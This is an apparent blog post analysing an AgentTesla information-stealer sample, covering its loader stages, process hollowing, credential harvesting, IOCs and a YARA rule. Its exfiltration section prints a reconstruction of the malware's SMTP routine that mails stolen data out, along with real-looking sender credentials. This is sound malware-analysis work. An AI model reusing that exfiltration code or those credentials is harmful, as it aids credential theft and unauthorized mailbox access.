AgentTesla RAT

Hands-on reverse engineering of a multi-stage AgentTesla malware. Covers the complete loader chain, steganographic payload recovery, process hollowing, SMTP configuration extraction, and analysis of the final AgentTesla payload.

Posted Jun 16, 2026 Updated Jul 14, 2026

By Nader Ayman Elsehrawii

26 min read

AgentTesla RAT

AgentTesla Analysis

AgentTesla: TL;DR

AgentTesla is a long-running .NET-based malware family that first appeared around 2014 and has remained one of the most widespread information stealers in the wild. Originally developed as a legitimate remote administration tool, it has evolved into a commodity Malware-as-a-Service (MaaS) offering sold through underground forums. AgentTesla is commonly distributed through phishing emails containing malicious Microsoft Office documents, PDF files, ISO archives, and ZIP attachments.

The malware continues to be actively used in large-scale phishing campaigns and remains one of the most prevalent credential stealers observed in the wild. It is capable of logging keystrokes, capturing clipboard contents, taking screenshots, and harvesting credentials from browsers, email clients, FTP software, VPN clients, and numerous other applications before exfiltrating the collected data through HTTP(S), SMTP, FTP, or Telegram.

The sample analyzed in this report exclusively uses SMTP for data exfiltration. Throughout the analysis, no evidence of a remote command-and-control channel or interactive remote administration functionality was observed. Consequently, this sample is treated as an information stealer rather than a fully featured Remote Access Trojan (RAT).

AgentTesla Infection Vector

Email phishing campaigns.

Technical Summary

Configuration Extraction: AgentTesla stores its operational configuration directly within the payload. The recovered configuration exposes the SMTP infrastructure used for exfiltration, including the mail server, sender account, authentication credentials, recipient address, communication port, and feature configuration flags.
Host Profiling: Before collecting sensitive information, the malware profiles the infected system by generating a unique hardware identifier and gathering host information including the username, computer name, and public IP address. These values uniquely identify compromised hosts during exfiltration.
Information Stealing: The primary functionality of AgentTesla is credential theft. Dedicated harvesting modules target numerous applications and services, including:
- Web Browsers: Stored credentials from Chromium- and Gecko-based browsers.
- Email Clients: Microsoft Outlook, FoxMail, The Bat!, IncrediMail, eM Client, and others.
- FTP Clients: FileZilla, CoreFTP, SmartFTP, FTP Navigator, WS_FTP, FTPGetter, and additional FTP software.
- VPN Clients: OpenVPN, NordVPN, Private Internet Access, and other supported VPN applications.
- Remote Desktop Clients: RealVNC, TightVNC, TigerVNC, and UltraVNC.
- Instant Messengers: Discord authentication tokens and Pidgin credentials.
- Windows Credential Vault: Credentials stored by Windows Credential Manager.
Keylogging & Screen Capture: AgentTesla implements fully functional keystroke logging and periodic desktop screenshot capture modules. Although both capabilities are present within the payload, they are disabled through configuration in the analyzed sample.
C2 Communication / Exfiltration: Instead of communicating with a conventional HTTP- or TCP-based command-and-control server, the malware transmits all stolen information through SMTP using embedded mail server credentials. SSL/TLS is enabled to protect communications during transmission.
Persistence: Startup persistence is supported through embedded configuration parameters associated with automatic execution. However, persistence is disabled in the analyzed sample, and the corresponding registry modification routine could not be conclusively verified during static analysis.

Technical Analysis

Unlike conventional packed malware that unpacks in a single stage, this sample employs a layered execution chain designed to complicate both automated detection and manual reverse engineering. Execution begins with a seemingly legitimate image-editing application, progresses through a steganographic loader concealed inside an embedded image, continues into a DeepSea-protected process injector, and finally reaches the AgentTesla payload extracted directly from process memory.

Each stage introduces a different protection or concealment mechanism, requiring a different analysis technique to recover the next component. Rather than relying exclusively on static analysis, the investigation gradually transitioned toward dynamic analysis as the execution chain evolved. The following sections document each stage in the order it was reversed and explain the techniques used to recover the final payload.

First Look & Unpacking — Stage 1

Inspection of the original sample (Docs.exe) identified a 32-bit .NET executable with a .text section entropy of approximately 7.97, suggesting that the managed assembly was protected or packed. Unlike native packed malware, the PE import table contained only mscoree.dll!_CorExeMain, indicating that execution would be handled by the .NET Common Language Runtime (CLR) and that most functionality would be resolved dynamically during runtime.

Opening the assembly in dnSpy initially presents what appears to be a legitimate Windows Forms image-editing application. The project contains a graphical interface consisting of a PictureBox, an OpenFileDialog, and several controls labelled with common image-processing operations such as color adjustment, filtering, and image saving. Although the application appears benign during superficial inspection, none of this functionality contributes to the malware’s execution. Instead, the interface serves purely as a decoy intended to disguise the malicious logic hidden elsewhere within the assembly.

Closer inspection revealed that the actual unpacking routine had been embedded directly inside frmMain.InitializeComponent(), a method normally reserved for automatically generated Windows Forms layout code. Hiding the loader inside designer-generated code significantly reduces its visibility during manual inspection, as analysts rarely expect malicious logic to reside within user interface initialization routines.

Rather than loading another executable from disk, the loader retrieves an embedded resource named FF, applies a custom byte-transformation algorithm, reconstructs a second .NET assembly entirely in memory, and transfers execution through .NET reflection using Assembly.Load(). At no point is the recovered assembly written to disk, allowing the malware to evade detection mechanisms that rely on monitoring newly created executable files.

To validate the decompiled logic, the decoding algorithm was independently reimplemented in Python and executed against the extracted FF resource. The recovered output immediately began with the standard MZ DOS header, confirming that the embedded resource contained a valid Portable Executable (PE) file and verifying that the unpacking algorithm had been accurately reconstructed through static analysis.

  
key = b"PY718E785ZXFG4844GPE4Z"   XOR key

with open("FF.bin", "rb") as f:
    data = bytearray(f.read())

n = len(data)
for i in range(n):
    xor_result = key[i % 22]
    r = data[i] ^ xor_result
    g = data[(i + 1) % n]          
    last = (r - g + 256) & 255
    data[i] = last

with open("decoded_payload.exe", "wb") as f:
    f.write(data)

The recovered executable was identified as a second .NET assembly named SimpleLogin.dll, marking the beginning of the second stage of the malware’s execution chain.

One additional observation completes the relationship between the first two stages. Examination of the constructor arguments supplied to the next loader shows that the required initialization values are not generated dynamically. Instead, Stage 1 contains several hardcoded hexadecimal strings that are converted into their ASCII representation before being passed directly into the next stage.

  
public static string[] EIK = "66766B6D+786674".Split(new char[] { '+' });

private string[] GetInitializationParameters(string[] EIK)
{
    return new string[] { EIK[0], EIK[1], "QQ復複覆" };
}

The hexadecimal values 66766B6D and 786674 decode to the ASCII strings fvkm and xft, while a third Unicode string is supplied directly without modification. These values become fixed initialization parameters used by the Stage 2 loader during payload recovery.

Because these values are embedded directly within the assembly rather than generated during execution, the relationship between Stage 1 and Stage 2 is entirely deterministic. Every execution of the loader follows the same recovery chain using the same embedded parameters, demonstrating that the malware authors implemented a fixed unpacking pipeline rather than dynamically generating decryption material at runtime.

Steganographic Payload Concealment — Stage 2

The assembly recovered from the previous stage was identified as SimpleLogin.dll, a second-stage loader responsible for recovering another embedded payload. Unlike Stage 1, which stored the next component as an encrypted resource, this loader conceals its payload inside an embedded image, introducing an additional layer of concealment before execution.

Initial inspection identified the assembly as a .NET executable protected with a ConfuserEx-family obfuscator. Attempts to recover the original control flow using de4dot were unsuccessful, making traditional static reverse engineering increasingly difficult. Rather than attempting to reconstruct heavily flattened code, the analysis shifted toward identifying the loader’s high-level behavior and payload recovery process.

Capability analysis using capa revealed routines associated with GZip decompression and reflective assembly loading. These findings indicated that the assembly functioned primarily as another loader rather than the final malware payload, allowing the investigation to focus on recovering the next stage instead of reversing the entire obfuscated control flow.

Tracing the execution path revealed that the next payload was concealed inside an embedded image resource. Before extraction, the image is cropped to remove an outer border, after which each pixel is processed sequentially. Instead of using conventional least-significant-bit (LSB) steganography, the loader reconstructs the payload by treating every pixel’s ARGB value as four consecutive bytes. The first four recovered bytes specify the size of the embedded payload, allowing the remaining bytes to be extracted as a contiguous encrypted buffer.

The recovered byte stream is not immediately executable. Before loading the assembly, the buffer is passed through a secondary decryption routine implemented within a separate helper library, after which the decrypted payload is supplied to Assembly.Load() through several reflection wrappers.

Rather than completely reversing the decryption algorithm, the loader was analyzed dynamically using dnSpy. A breakpoint was placed immediately before the call responsible for loading the recovered assembly into memory. Once execution reached this point, the fully decrypted payload was available as a byte array and could be extracted directly from memory before being written to disk as a Portable Executable.

This approach confirmed that the payload had been successfully recovered while avoiding the need to completely reverse the underlying decryption routine.

Process Hollowing — Stage 3, and the Pivot to Dynamic Analysis

The Portable Executable recovered from the previous stage was identified as Gamma.dll, a third-stage loader protected with a different obfuscation scheme than its predecessor. Initial inspection with Detect It Easy (DIE) identified the assembly as a .NET executable protected with CLR Constructor + Anti-ILDASM, while de4dot successfully recognized the protection as DeepSea 4.1.

Unlike the previous stage, which relied primarily on ConfuserEx-style obfuscation, this loader employed DeepSea’s anti-tamper mechanisms, requiring a different reverse engineering approach.

After removing the DeepSea protection with de4dot, the recovered project was examined directly rather than relying exclusively on decompiled output. Inspection of the module initializer revealed the characteristic DeepSea anti-tamper pattern consisting of encrypted byte arrays unlocked through a native initialization stub before normal execution begins. The assembly metadata itself contained meaningless values and numerous junk attributes generated by the obfuscator instead of developer-supplied information.

Unlike the previous loader stages, no embedded resource capable of containing another executable payload could be identified. The resource table contained only small Windows Forms designer artifacts, none of which were remotely large enough to represent another executable. This strongly suggested that the malware had abandoned embedded payload delivery and instead relied on an alternative execution technique.

Resource table showing the absence of payload-sized embedded resources.

The initial objective was to identify the injection routine statically by tracing Windows API usage and following the associated execution paths. However, despite successfully removing the outer protection layer, the remaining control flow continued to exhibit sufficient complexity that further static analysis produced diminishing returns.

At this point, continuing to reverse increasingly obfuscated code was unlikely to produce the final payload more efficiently than observing the loader during execution. Consequently, the analysis strategy shifted from static reverse engineering toward dynamic analysis in order to recover the injected payload directly from memory.

The original Docs.exe sample was executed inside an isolated analysis environment while monitoring process activity using HollowsHunter operating in ETW mode. FakeNet-NG intercepted all outbound network communication, while Process Hacker remained available for manual inspection whenever additional process information was required. This environment allowed the complete execution chain to be observed without permitting communication with external attacker infrastructure.

During execution, HollowsHunter detected the expected process creation chain and identified one of the spawned Docx.exe processes as suspicious. Immediately before the detection, the tool reported multiple newly allocated executable memory regions, behavior consistent with a process hollowing workflow in which executable code is written into a newly created process before execution is transferred to the injected image.

Rather than continuing to reconstruct the injection mechanism statically, the recovered process was dumped directly from memory using HollowsHunter. The resulting executable, saved as 400000.Docx.exe, represented the final stage of the execution chain and became the primary subject of the remaining analysis.

Analysis of the recovered executable confirmed that the previous three stages function exclusively as delivery mechanisms. Unlike the preceding loaders, the recovered payload exposes the complete functionality expected from AgentTesla, including credential harvesting, keylogging, screen capture, clipboard monitoring, cryptographic operations, Windows Management Instrumentation (WMI), registry access, and SMTP-based data exfiltration.

From this point onward, the analysis focuses exclusively on the recovered 400000.Docx.exe payload extracted from memory, as it represents the fully unpacked AgentTesla core rather than another intermediate loader. and guess what capa told me about it :))

Configuration Extraction

From this point onward, the analysis focuses exclusively on the recovered 400000.Docx.exe payload extracted from the hollowed process. Unlike the previous stages, which were primarily responsible for protecting and delivering the malware, this executable contains the complete AgentTesla functionality.

The operational configuration is initialized inside the Stu4Un2 class during application startup. Unlike many contemporary malware families that encrypt or serialize their configuration, this variant stores all operational parameters directly within the assembly as plaintext strings and simple Boolean values.

Although several values are wrapped inside helper functions such as Convert.ToBoolean() and Convert.ToInt32(), no meaningful obfuscation or encryption is performed. These conversion routines slightly complicate basic string-based detection but provide little resistance against static analysis, as all sensitive information remains embedded directly within the assembly.

Analysis of the recovered configuration reveals that the malware relies exclusively on SMTP for data exfiltration. The embedded configuration contains the mail server address, sender mailbox, recipient mailbox, authentication password, SMTP port, and SSL settings required to transmit stolen information.

A second group of configuration parameters controls the malware’s optional surveillance capabilities. The recovered sample contains fully implemented support for keylogging, screen capture, clipboard monitoring, cookie theft, contact harvesting, and Tor panel functionality. However, each of these capabilities is controlled through individual configuration flags.

In the analyzed sample, the keylogger, screen logger, clipboard logger, cookie theft, contact harvesting, and Tor-related functionality are all disabled through configuration rather than being removed from the codebase. This indicates that the malware was built using a modular configuration model, allowing operators to selectively enable or disable functionality without modifying or recompiling the executable.

The configuration also specifies a logging interval of twenty minutes for both keyboard and screen capture operations. Although these surveillance modules remain inactive in the recovered sample, their implementation remains fully intact and can be activated simply by modifying the stored configuration values.

Host Profiling

Before attempting to harvest credentials, AgentTesla performs a lightweight profiling phase to uniquely identify the infected host.

The malware generates a hardware identifier by collecting several system-specific values through Windows Management Instrumentation (WMI). These values include the physical disk serial number, processor identifier, and the network adapter’s MAC address. After normalizing the collected information, the values are combined and hashed using MD5 to produce a unique identifier representing the compromised machine.

Each WMI query is protected by an independent exception handler. If one of the lookups fails, the malware substitutes a predefined fallback GUID instead of terminating execution. This design improves reliability on restricted systems where WMI access may be unavailable while simultaneously allowing analysis environments with incomplete hardware information to produce recognizable hardware identifiers.

Additional host information is gathered independently of the hardware fingerprint. The malware retrieves the current username and computer name using the System.Windows.Forms.SystemInformation API before incorporating these values into the victim profile.

When the PublicIpAddressGrab configuration option is enabled, the malware performs an HTTP request to api.ipify.org in order to determine the victim’s public-facing IP address. Together, the hardware identifier, username, computer name, and external IP address provide the operator with sufficient information to uniquely distinguish individual victims during exfiltration.

Information Stealing

The credential theft functionality represents the primary objective of the recovered AgentTesla payload. Rather than implementing all collection logic inside a single component, the malware adopts a modular architecture in which every credential harvester implements a common interface while exposing a standardized Grab() routine.

Credential collection is coordinated by the aggregation routine qXK.hXmr3G(). Instead of containing application-specific logic, this function simply instantiates each supported harvesting module and sequentially invokes its corresponding Grab() method before consolidating the recovered credentials.

You can use the following table to make ur life easier, It maps the original obfuscated class names to descriptive names reflecting their confirmed functionality:

Original Name	Professional Name	Description
`qXK`	CredentialHarvesterOrchestrator	Main orchestrator
`Oq9`	ModuleExecutionCoordinator	Executes modules and collects results
`rIQSi`	BrowserListInitializer	Initializes browser lists
`19N6h`	ChromiumBrowserHarvester	Chromium-based browsers
`syx89RXd5`	FirefoxBrowserHarvester	Firefox/Gecko browsers
`QPhRgP`	IEEdgeVaultHarvester	Internet Explorer / Microsoft Edge (Windows Vault)
`r8R5s9BEG`	UCBrowserHarvester	UC Browser
`NKvhQ`	SafariWindowsHarvester	Safari for Windows
`5tVoul`	QQBrowserHarvester	QQ Browser
`NUWRhq`	FalkonBrowserHarvester	Falkon Browser
`CSmYFXH`	FlockBrowserHarvester	Flock Browser
`LEL3YKSiu9`	WindowsCredentialManagerHarvester	Windows Credential Manager
`Ine8LGYg`	OutlookCredentialHarvester	Microsoft Outlook
`Yiz1AD`	FoxMailCredentialHarvester	FoxMail
`239lOYk`	TheBatCredentialHarvester	The Bat!
`f7Pw9`	IncrediMailCredentialHarvester	IncrediMail
`6L9kY`	EMClientCredentialHarvester	eM Client
`KCshAEmJtX4`	PocoMailCredentialHarvester	PocoMail
`w8QD5IWNK`	OperaMailCredentialHarvester	Opera Mail
`KtkFUvjdi`	ClawsMailCredentialHarvester	Claws Mail
`mziy`	BeckyMailCredentialHarvester	Becky! Internet Mail
`v43DJTK2AY`	EudoraMailCredentialHarvester	Eudora
`kxm7`	MailbirdCredentialHarvester	Mailbird
`vIESaEAFwzI`	FileZillaCredentialHarvester	FileZilla
`5JvtpHr`	CoreFTPCredentialHarvester	CoreFTP
`cRvqqKTz`	SmartFTPCredentialHarvester	SmartFTP
`fjVU`	FTPNavigatorCredentialHarvester	FTP Navigator
`xaINz6`	FTPGetterCredentialHarvester	FTPGetter
`0HpkDxW6as`	WSFTPCredentialHarvester	WS_FTP
`iDSbA`	WinSCPCredentialHarvester	WinSCP
`r0M3V`	FlashFXPCredentialHarvester	FlashFXP
`mRKWK33d76`	FTPCommanderCredentialHarvester	FTP Commander
`gmPOp`	OpenVPNCredentialHarvester	OpenVPN
`Hdpvrzrw`	NordVPNCredentialHarvester	NordVPN
`I7OwQaTt4DK`	PrivateInternetAccessCredentialHarvester	Private Internet Access (PIA)
`xZhc3z6`	DiscordTokenHarvester	Discord tokens
`WUN4X5ch`	PidginCredentialHarvester	Pidgin
`P94mGp`	TrillianCredentialHarvester	Trillian
`9aZPB8`	PsiCredentialHarvester	Psi / Psi+
`VtM`	PaltalkCredentialHarvester	Paltalk
`Vlhg`	VNCCredentialHarvester	RealVNC, TightVNC, TigerVNC, UltraVNC
`MUgwGj4qcdG`	MySQLWorkbenchCredentialHarvester	MySQL Workbench
`bJi9Rox`	InternetDownloadManagerCredentialHarvester	Internet Download Manager
`4tdR`	JDownloaderCredentialHarvester	JDownloader 2
`RPZbyg5`	DynDnsCredentialHarvester	DynDNS
`Qz20eTOb07`	WindowsMailAppCredentialHarvester	Windows Mail App

This architecture significantly simplifies maintenance of the malware. New applications can be supported by implementing another harvesting class without requiring any modifications to the aggregation or exfiltration pipeline.

The recovered payload contains 44 individual credential harvesting modules, targeting a broad range of software commonly used to store authentication material.

Browser modules recover stored credentials from both Chromium- and Gecko-based browsers, while dedicated collectors target email clients including Microsoft Outlook, FoxMail, The Bat!, IncrediMail, and eM Client.

Additional modules target numerous FTP applications including FileZilla, CoreFTP, SmartFTP, FTP Navigator, FTPGetter, and WS_FTP. VPN credentials are recovered from applications such as OpenVPN, NordVPN, and Private Internet Access, while separate collectors target instant messaging software including Discord and Pidgin.

Discord receives special handling compared to other supported applications. Instead of recovering traditional username-password pairs, the malware extracts authentication tokens from Discord’s LevelDB-backed local storage and labels recovered entries as Discord Tokens before forwarding them to the exfiltration pipeline.

Remote administration software is also extensively targeted. Dedicated collectors recover stored credentials from RealVNC, TightVNC, TigerVNC, and UltraVNC by reproducing the publicly documented DES-based decryption algorithm historically used by VNC products.

The modular implementation further allows additional harvesting modules to be incorporated with minimal changes to the overall architecture.

Keylogging & Screen Capture

Although credential theft represents the primary objective of the recovered payload, AgentTesla also contains fully implemented surveillance capabilities capable of recording user activity over extended periods. Both the keylogging and screen capture components are present within the recovered executable and closely match the capabilities reported by capa.

Keylogging

The keylogging functionality is implemented by the SKTzxzsJw class, which installs a global low-level keyboard hook using the Windows API function SetWindowsHookEx() with hook identifier 13 (WH_KEYBOARD_LL). Every keyboard event is intercepted before being forwarded to the operating system, allowing the malware to record keystrokes regardless of the active application.

The implementation also exposes a clean event mechanism that signals other components whenever keyboard activity is detected and properly removes the hook when logging is terminated, indicating that the feature was intentionally engineered rather than implemented as a minimal proof-of-concept.

Capability analysis performed with capa additionally identified evidence of keylogging through both keyboard hooks and polling techniques. Static analysis confirmed the hook-based implementation described above; however, no independent polling routine based on APIs such as GetAsyncKeyState() could be conclusively identified. Consequently, only the hook-based implementation is considered confirmed during this analysis.

Screen Capture

AgentTesla also implements a dedicated desktop capture routine responsible for periodically recording the victim’s screen.

The routine nG9P.Cvn7UtXtC() captures the contents of the primary display using the dimensions returned by Screen.PrimaryScreen.Bounds, compresses the resulting bitmap into JPEG format, and stores the image using a quality setting of 60 before forwarding it to the exfiltration pipeline.

Rather than executing continuously, screen captures are scheduled through a timer whose interval is obtained directly from the embedded configuration. As discussed previously, the analyzed sample configures this interval to twenty minutes while simultaneously disabling the feature through its configuration flags.

Both surveillance components ultimately feed into the same exfiltration pipeline used by the credential harvesting modules. Screenshots are identified using the tag “SC”, keyboard logs are tagged “KL”, and harvested credentials are labelled “PW” before being forwarded to the common transmission routines.

SMTP Exfiltration

Unlike many modern information stealers that rely on dedicated HTTP- or TCP-based command-and-control infrastructure, the analyzed AgentTesla sample communicates exclusively through SMTP.

Execution begins by configuring the application’s networking environment before dispatching the primary malware workflow. During initialization, the malware explicitly enables modern TLS protocol support and installs a global certificate validation callback that accepts all server certificates without performing any verification.

Application entry point configuring TLS support and certificate validation before dispatching the main execution routine.

The unconditional certificate validation callback allows HTTPS requests performed by the malware to succeed even when invalid, self-signed, or intercepted certificates are presented. During analysis, this behavior was observed primarily in support of auxiliary network operations such as retrieving the victim’s public IP address.

The primary exfiltration channel, however, relies entirely on SMTP. Harvested credentials, screenshots, clipboard contents, and keylogging data are consolidated before being transmitted through the embedded mail server using the attacker-controlled sender account recovered during configuration extraction.

SMTP client initialization using the embedded mail server configuration. simplified for clarity The following is a simplified reconstruction of the exfiltration routine for clarity, the actual decompiled code is more chaotic.

public class zMvJ
{
    public static void NwC(string subject, string body, 
        List<WFFvs4qWY2> attachments = null, int flags = 0)
    {
        // Validate input
        if (string.IsNullOrWhiteSpace(body))
            return;

        // Create email message
        MailAddress sender = new MailAddress(Stu4Un2.SmtpSender);
        MailAddress receiver = new MailAddress(Stu4Un2.SmtpReceiver);
        MailMessage mailMessage = new MailMessage(sender, receiver);
        mailMessage.Subject = subject;  // "PW", "KL", or "SC"
        
        // Build email body
        if (Stu4Un2.SmtpAttach && flags == 0)
        {
            mailMessage.IsBodyHtml = false;
            // Attach HTML file
        }
        else
        {
            mailMessage.IsBodyHtml = true;
            mailMessage.Body = body;
        }

        // Add attachments (screenshots)
        if (attachments != null && attachments.Count > 0)
        {
            foreach (var attachment in attachments)
            {
                mailMessage.Attachments.Add(new Attachment(
                    new MemoryStream(attachment.FileBytes), 
                    attachment.Filename, 
                    attachment.MimeType
                ));
            }
        }

        // SMTP client with embedded configuration
        SmtpClient smtpClient = new SmtpClient();
        NetworkCredential credentials = new NetworkCredential(
            Stu4Un2.SmtpSender,      // mustafa@albushrametalic.com
            Stu4Un2.SmtpPassword     // GLBL1285#
        );
        
        smtpClient.Host = Stu4Un2.SmtpServer;       // mail.albushrametalic.com
        smtpClient.EnableSsl = Stu4Un2.SmtpSSL;     // true
        smtpClient.UseDefaultCredentials = false;
        smtpClient.Credentials = credentials;
        smtpClient.Port = Stu4Un2.SmtpPort;         // 587
        
        try
        {
            smtpClient.Send(mailMessage);  // Send email
        }
        catch { }
        finally
        {
            mailMessage.Attachments.Dispose();
        }
    }
}

The infrastructure itself is worth a closer look. mail.albushrametalic.com sits on Unified Layer’s shared hosting platform, almost certainly a compromised or throwaway mailbox rather than anything the attacker built themselves. Shared hosting is a smart choice for this: legitimate-looking domain, TLS included, high deliverability, and near-zero cost. If it gets burned, they move on. The actual collection point is saeed9797seead@gmail.com, a free Gmail account where everything lands, completely separate from the relay. That split between a compromised relay and an attacker-controlled inbox is a common pattern in commodity stealer campaigns, and it makes attribution harder than it looks at first glance.

No evidence of an interactive command-and-control channel was identified during either static or dynamic analysis. The recovered payload contains no functionality for downloading additional payloads, executing remote commands, or receiving operator instructions after infection. Instead, communication remains strictly one-way, with collected information periodically transmitted to the configured recipient mailbox.

An interesting distinction exists between the malware’s HTTPS and SMTP communication paths. While the global certificate validation callback effectively disables certificate verification for HTTPS requests, the .NET SmtpClient implementation performs its own TLS negotiation and does not rely on the same callback. Consequently, the SMTP exfiltration channel still performs normal TLS validation while transmitting stolen information.

From a defensive perspective, this distinction limits the effectiveness of the certificate bypass. Although it allows auxiliary HTTPS requests to succeed on intercepted or sandboxed networks, it provides little additional concealment for the actual exfiltration channel, which continues to establish a legitimate TLS session with the configured SMTP server.

Persistence

The recovered configuration contains several parameters associated with automatic startup persistence, indicating that the capability exists within the malware family even though it is disabled in the analyzed sample.

Configuration values stored inside Stu4Un2.cs define the installation directory, executable name, registry value name, and several additional startup-related options used during installation.

Startup configuration parameters stored within Stu4Un2.cs.

The helper routine YRrCIDRmJTY() derives the full installation path and startup directory from these configuration values before they are used elsewhere within the application.

YRrCIDRmJTY() constructing the persistence installation paths.

Despite the presence of these configuration parameters, static analysis did not conclusively identify the code responsible for writing a Windows Run registry entry or copying the executable into the configured startup location. Furthermore, the AppAddStartup configuration flag is explicitly set to false in the recovered sample, indicating that persistence is disabled for this particular build.

Accordingly, persistence is assessed as configured but unconfirmed. While the necessary configuration values clearly exist and strongly suggest support for Registry Run Key persistence, the corresponding installation routine could not be observed during static analysis or exercised during dynamic execution. Therefore, the analyzed sample cannot be conclusively classified as establishing persistence during execution.

Conclusion

AgentTesla keeps showing up everywhere because it doesn’t need to be sophisticated, the builder does the work, the operator just configures and deploys. This sample is a good example of how far that commodity model has come: three distinct protection layers wrapping a payload whose actual configuration was sitting there as plain, unencrypted strings the whole time. The steganography, the disguised chemistry library, the DeepSea obfuscation, the process hollowing, all of it protecting something that strings.exe could have read in seconds once you got past the outer shell. That asymmetry is worth keeping in mind. Heavy packing on the outside says nothing about what’s actually being protected underneath, and the only way to know is to go look.

IOCs

No.	Description	Value
1	Initial packed sample (Stage 1)	`1CA6C053E788F8EA1E1EEC1C712CF0EC5374BA5D8CAF432717842C702E3CDA0E`
2	Stage 2 payload	`11D648CA49B5FBFF495AF859C1E750FABFAEEF0ADE9880D416AE586D8A6DD4B6`
3	Stage 3 payload	`1A1DE9F3FE4C3A7EA7CD547CDD9D78B3873D6E243E544E5BB647452D6D9F6CFE`
4	Final AgentTesla payload	`06D4A113982559C15CBE1A2138AE3FF1C7D88E7E15706253C615ED535E0D8316`
5	SMTP server	`mail.albushrametalic.com:587`
6	Sender mailbox	`mustafa@albushrametalic.com`
7	SMTP password	`GLBL1285#`
8	Receiver mailbox	`saeed9797seead@gmail.com`
9	Public IP service	`https://api.ipify.org`
10	Stage 1 XOR key	`PY718E785ZXFG4844GPE4Z`
11	Persistence directory	`%APPDATA%\dlkgRN\dlkgRN.exe`
12	Registry value	`dlkgRN`

Yara Rule

  
rule AgentTesla_MultiStage_Sample
{
    meta:
        description = "Detects the multi-stage AgentTesla malware"
        author = "Artful Dodger"
        malware = "AgentTesla"
        date = "2026-07-13"
        sha256 = "1ca6c053e788f8ea1e1eec1c712cf0ec5374ba5d8caf432717842c702e3cda0e"

    strings:
        // Stage 1
        $xor_key = "PY718E785ZXFG4844GPE4Z" ascii wide

        // Stage 2
        $crypto_lib = "ReactionDiffusionLib" ascii wide

        // Final payload
        $smtp_server = "mail.albushrametalic.com" ascii wide
        $smtp_sender = "mustafa@albushrametalic.com" ascii wide
        $smtp_receiver = "saeed9797seead@gmail.com" ascii wide
        $startup = "dlkgRN" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        (
            $xor_key or

            $crypto_lib or

            (2 of ($smtp*) and $startup)
        )
}

ATT&CK Mapping

The following table maps the observed behaviors of the analyzed AgentTesla sample to the corresponding MITRE ATT&CK techniques.

ATT&CK Technique	ID
Phishing	T1566
Process Injection	T1055
Reflective Code Loading	T1620
Process Hollowing	T1055.012
Credentials from Password Stores	T1555
Keylogging	T1056.001
Screen Capture	T1113
Clipboard Data	T1115
System Information Discovery	T1082
Windows Management Instrumentation (WMI)	T1047
Exfiltration Over Alternative Protocol: SMTP	T1048.003
Registry Run Keys / Startup Folder	T1547.001

References

Joe Sandbox. Dynamic Analysis Report #1450410. https://www.joesandbox.com/analysis/1450410/0/html
MITRE ATT&CK®. Agent Tesla. https://attack.mitre.org/software/S0331/
MITRE ATT&CK®. Enterprise Matrix. https://attack.mitre.org/
Microsoft. Windows Management Instrumentation (WMI). https://learn.microsoft.com/windows/win32/wmisdk/
Microsoft. .NET Assembly.Load Method. https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load

Malware Analysis

This post is licensed under CC BY 4.0 by the author.

AgentTesla RAT

AgentTesla Analysis

On this page

AgentTesla: TL;DR

AgentTesla Infection Vector

Technical Summary

Technical Analysis

First Look & Unpacking — Stage 1

Steganographic Payload Concealment — Stage 2

Process Hollowing — Stage 3, and the Pivot to Dynamic Analysis

Configuration Extraction

Host Profiling

Information Stealing

Keylogging & Screen Capture

Keylogging

Screen Capture

SMTP Exfiltration

Persistence

Conclusion

IOCs

Yara Rule

ATT&CK Mapping

References

Trending Tags